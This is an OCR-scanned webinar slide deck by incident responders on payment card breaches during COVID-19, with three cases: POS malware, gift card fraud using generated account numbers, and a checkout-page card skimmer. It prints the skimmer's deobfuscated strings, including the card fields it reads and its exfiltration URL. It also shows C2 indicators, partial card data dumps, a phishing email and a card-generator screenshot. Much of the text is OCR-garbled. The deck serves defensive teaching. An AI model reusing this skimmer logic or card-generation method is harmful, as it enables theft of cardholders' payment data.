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DISCLAIMER

Any positions presented in this session are those of the panelists and do not represent the official
position of Duff & Phelps, LLC or our co-hosts. This material is offered for educational purposes
with the understanding that neither the authors nor Duff & Phelps, LLC or its affiliates are engaged

In rendering legal, accounting or any other professional service through presentation of this
material.
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The Payment Card Process
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Risks to the Process

Integrators
= Not subject to PCI-DSS
= Can affect thousands of merchants
= Support often provided through RDP
= Attack surface increased with COVID-19

Processing outside of the PCIl environment

= PCI information stored in plain text (common with municipalities and small
businesses)

= Print servers storing card images (common in the hospitality sector)
= Processing outside of the PoS terminal environment increased with COVID-19
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Conseqguences of a PCI Breach

= Notification in some jurisdictions
= Brand damage/harm to reputation
= Third-party liability

= Consumers, shareholders, financial institutions
= State attorneys general, FTC

Revenue loss for downtime period

Kroll, a division of Duff & Phelps - @krollwire



Conseqguences of a PCI Breach

Reserve accounts

= Processors / Acquirers may establish reserve accounts to “mitigate potential
risk” of a security incident involving payment card data.

= Processor contracts typically provide for reserve accounts without notice and
at the discretion of the Processor

Fines
= $5,000 to $100,000 / month for non-compliance with PCI DSS

Assessments
= Reimbursement for card reissuance
= Reimbursement for incremental fraud
= Reimbursement for enhanced fraud monitoring

Kroll, a division of Duff & Phelps - @krollwire 8



CASE 1 Pacific Northwest Regional Fuel Chain

ry




(¥ I R O I S S B LW

=1

0
14
17
18
19

i)
—

LOCAL TXN_DAT -+ PAN

0406-2020
0406-2020
0405-2020
0405-2020
0405-2020
0405-2020
0405-2020
0405-2020
0405-2020
0405-2020
0405-2020

20 | 0405-2020

22
23
25
27
29
32
33
40
41
42
43
44
45
46
A7
53

- 5

0405-2020
0405-2020
0404-2020
0404-2020
0404-2020
0404-2020
0404-2020
0404-2020
0404-2020
0404-2020
0404-2020
0403-2020
0403-2020
0403-2020
0403-2020

St

040 %‘Melps

P . Fala sl atia T

F

~ MERCH_NAME_LOCATION -T MID

637521
637536
637521
637508
637532
637575
637521
637585
637334
0375879
637567
637334
637534
637587
637538
637537
637534
637521
637521
637521

0375
2024
837550
037515
637545
637537
037521

637521

e ——

E

~ ACQ_PARENT

000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000
000000000

P T T T T T T T TS

FIRST DATA N.A.-1065 |
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 |
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 |
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 |
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 |
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1
FIRST DATA N.A.-1065 1

IS yscsTr r~ s Trs kBRIl B E N il |

F

- USD_TXN_AN -

253.74
67.5
28.97
30.01
25
43.85
27

46
30.01
21
66.88
20.65
38.63
22.51
20.06
40.01
25
25.01
37.01
30.5
43.01
55.05
20.13
27.3
16.09
30
33.73

July 8, 20283

el =

[y}

10



Sensor Deployment — PowerShell Discover
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mxslipstream3.exe — POSlurp Malware in Bend, OR

Duff & Phelps

Outbound network connection by powershell.exe to
45.77.152[.]39:443

Reverse DNS Lookup btogoljubzoranovski.norz.ru

82 ot 2019-05- 2&-58

Whois Lookup Choopa, LLC (CHOOP-1]

Mote: Lookup data is transient, may change rapidly, and may only be accurate at the time the lookup was performed.

Threat Detected

Process spawned by powershell.exe

c:imidniteexpressislipstream\mxslipstream3. exe

Command line:

CoVWMidniteExpressi\SlipStream\mx51lipStream3.exe p mxSlipStreamd.exe t 12844

11lm

UNKNOWN @

July 8, 2020
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wmsetup.tmp - encoded
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wmsetup.tmp - decoded

| tet.xt - Notepad - ot

File Edit Format View Help

Source file: C:\User‘s\andr’ew.valentine\Desktop\PDSdecoder‘\C-EP_c_windows_temp_wmsetup.tmp. Total lines: 28

48 432=1906281160008821

53 375=238728186233426

41 319=228628110008398

42 888=23122@8118368671

41 879=2112208108249953600000

68 383=218128116808588749482

55 352=21862810904885700815

68 297=22162811606121141962

46 688=2118281008331848795

68 616=218528118081471258602

54 966=22852810006888534

53 652=238628107829339

43 324=20122810000000845

42 529=198828110008185

48 196=288528110008787

41 B871=238828110168715

47 g46=19111@l000e8688801858

42 687=208728110008927

46 B828=220220810000898700000

51 686=20102810608108417

54 383=228828115568168384

46 541=228928111925269

52 319=211828100268013

51 758=21822@116168947961

44 775=228420810000088638

42 A83=2085201100085281

55 318=28892810%018688814715

44 124=20812810000838300000
Duff & Phelps July 8, 2020 14



= = Military Recruiting Specialist position - Message (HTML)

\
File Message Help Q  Tell me what you want to do
S Ignore m E_ : ;Zl {Rﬂ 53 G 4 hastings —2 To Manager E\L] £ Rules ~ F‘ ? a0 xd P /ﬂ{}) Q
<_} (o~ B Team Email " Done @ OneMote = (% 0a aax -
}-13‘: e Delete Archive Reply Reply Forward € Reply & Del 2 N = Move Assign  Mark Categorize Follow | Translate Read Zoom
All E“D - Epy elete F \reate New - F‘gﬁ.dinns ot Policy ~ Unread - Up~ e [} - Aloud
Delete Respond Quick 5teps ) Move Tags M Editing Speech Zoom A
Military Recruiting Specialist position
. ; . . R R All — F d sen
jp | Josephine Pena (USA Staffing Services) <uslegor@gmail.com> © Reply ) Reply et
To _ Wed 03/13/2020 313 AM
Hello I

| sent you a message on Linkedin recently about the position available in your area.
Here is the job description - https://job.usstaffing.services/military-recruiting-specialist-2836582 position

Newport, OR

Josephine Pena
Manager, HR
US Staffing Services

—» Tillamook ,OR

And then a couple dozen others. s

Kroll, A division of Duff & Phelps




After the breach...

 Remediation underway by late-May
2020.

 May 31, 2020 Ransomware attack
launched.
 Demonstrated threat actor ability to
pivot attack method.
‘ ! MONETIZE UNAUTHORIZED ACCESS.

KKKKK , A division of Duff & Phelps JUly 8, 2020 16



CASE 2 Gift Card Fraud




Initial Facts of the Case

Brick and Mortar + e-commerce electronics retailer
Physical locations closed March 16, 2020

Private label cards issued by third party banking
partner

Increase in e-comm transactions in mid-march (to
be expected)

SIGNIFICANT increase in the purchase of e-gift
cards (email delivery — many the same email)

DRAMATIC increase in private label transactions

Kroll, A division of Duff & Phelps

July 8, 2020
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Countof Date

Total

7000

 Increase in e-commerce transactions
« Great right? Maybe.
« Some legit some not.
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Countof Date

Total

1600

* Private Label E-Gift Card Purchases
1400 « $100,%$200, $500
 About 1.5M total

1200

» Upon closer inspection:
0o « Only a handful of e-mail addresses
« All purchased with private label accounts
 MANY different private label accounts compromised
« About 1.5M total

400
200 I
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Was there a Compromised Dataset? No. Not really.

bank identification number

C}edhfﬁfé;.

o3 508, 1234 56718

125

= 09710 CreditCard
CARDHOI.OER NAME

account number check digit

Where did threat actors get all those private label
cards?

Issuing bank authorized transactions on PAN only.
No checks for expiry or printed security code.

With BIN (public knowledge), account numbers
were simply generated.

Convert to Cash!

- | CC GENERATOR BY THETIMELOOPS |

| Enter your BIN ‘

MW Month @ Year @ CVV

| 50 \" ’ | DEFAULT H

Kroll, A division of Duff & Phelps

July 8, 2020 21



CASE 3 WEFH Exploit




Initial Facts of the case

= Brick and Mortar + e-commerce high-
end steaks, meats, and BBQ
equipment. “Never Frozen.”

= All stores closed March 16, 2020.
Corporate employees sent home.

= I[mmediate and dramatic uptick in e-
commerce sales.

= By the end of April, a couple dozen
customer complaints of fraud.

= No Investigation until mid-May.

Kroll, A division of Duff & Phelps July 8, 2020 23



Page Header Bad Script (Encoded vs. Decoded)

Discovered during test transaction...

Inserted early morning hours of March 20, 2020




gmt.js = Client-Side Card EXxfil

. Array(30) 0: "0x" 1: "fromCharCode" 2: "replace" 3: "onclick" 4: "target" 5:
"srcElement" 6: "event" 7: "id" 8: "ctlO0O_store btnPay" 9: "value" 10:
"ctlO0_store _ucPaymentProcessor _ucCCProcessor " 11: "getElementByld"
12:tbCCNameOnCard

"ctlO0_store _ucPaymentProcessor _ucCCProcessor tbxCCNumber" 13:
"ctlO0_store _ucPaymentProcessor _ucCCProcessor_expirationMonth" 14
"ctlO0_store _ucPaymentProcessor ucCCProcessor_expirationYear" 15:
"ctlO0_store _ucPaymentProcessor _ucCCProcessor tbxCCCVV2" 16:
"ctlO0_store _ucPaymentProcessor ucCCProcessor tbxCCStreet" 17:"|" 18:
"ctlO0_store _ucPaymentProcessor ucCCProcessor tbxCCPostalCode" 19:
“IIIII" 20: "GET" 21: "https://thxrg.com/cse/?1="22: "&2="23: "&3=" 24 "&4="
25: "&5=" 26: "&6="27: "&site=" 28: "open" 29: "send"




Insertion from legitimate, whitelisted users

47.184.200.242 - [20/Mar/2020:01:34:29 -0400] "GET /index.php/AllSteaks _admin/dashboard/
HTTP/1.1" 200 1127 "https://www.AllSteaks.com/index.php/AllSteaks _admin" "Mozilla/5.0
(Windows NT 6.1; WOWG64; rv:29.0) Gecko/20100101 Firefox/29.0"

47.184.200.242 - [20/Mar/2020:01:34:40 -0400] "POST /index.php/AllSteaks admin/dashboard/
HTTP/1.1" 302 20 "https://lwww.AllSteaks.com/index.php/AllSteaks admin/dashboard/"
"Mozilla/5.0 (Windows NT 6.1; WOWG64; rv:29.0) Gecko/20100101 Firefox/29.0"

14.37.176.182 - [20/Mar/2020:02:16:10 -0400] "GET /I288BRBIHTTP/1.1" 200 106 "-"
"Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0*

14.37.176.182 - [20/Mar/2020:02:16:24 -0400] "POST /[M2SEBRPIHTTP/1.1" 200 2241
"https://www.AllSteaks.com/1231.php" "Mozilla/5.0 (Windows NT 6.1; WOWG64; rv:29.0)

Gecko/20100101 Firefox/29.0"




What to Do?




No Longer Siloed

Sharing Third-Party and Remote Access
Taking Advantage of WFH

Taking Advantage of the Empty Office

Relentless Threat Actors
“If it's not one thing, it's another”




Action Steps

= Have a risk management plan
(IRP, adequate insurance coverage)

MFA EVERYWHERE

Vulnerability management program (Patches!)
= Test the plan

(tabletop, simulations)

SAQ-A iFrame solution for checkout process

= Consider a managed detection and response
solution

Maximize your PCI compliance profile

= Periodic security posture assessments
(especially for remote workforce setup)

= Education for InfoSec and across organization
(threat intel + security culture)

= Understand merchant processing agreement




Q&A

ANDREW
VALENTINE

Managing Director, Cyber
Risk, Kroll

Andrew.Valentine@kroll.com

CHRIS
BALLOD

Partner, vice chair of the Data Privacy &
Cybersecurity Practice at Lewis Brisbois

Christopher.Ballod@lewisbrisbois.com
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A Division of

DUFF&PHELPS

BRISBOIS.

For more information about our global locations and
services, please visit:
www.kroll.com

lewisbrisbois.com

About Kroll

Kroll is the leading global provider of risk solutions. For more than 45 years, Kroll has helped clients make confident risk management decisions about people, assets, operations and security through
a wide range of investigations, cyber security, due diligence and compliance, physical and operational security, and data and information management services. For more information, visit

www.kroll.com.

About Duff & Phelps

Duff & Phelps is the global advisor that protects, restores and maximizes value for clients in the areas of valuation, corporate finance, investigations, disputes, cyber security, compliance and
regulatory matters, and other governance-related issues. We work with clients across diverse sectors, mitigating risk to assets, operations and people. With Kroll, a division of Duff & Phelps since
2018, our firm has nearly 3,500 professionals in 28 countries around the world. For more information, visit www.duffandphelps.com.
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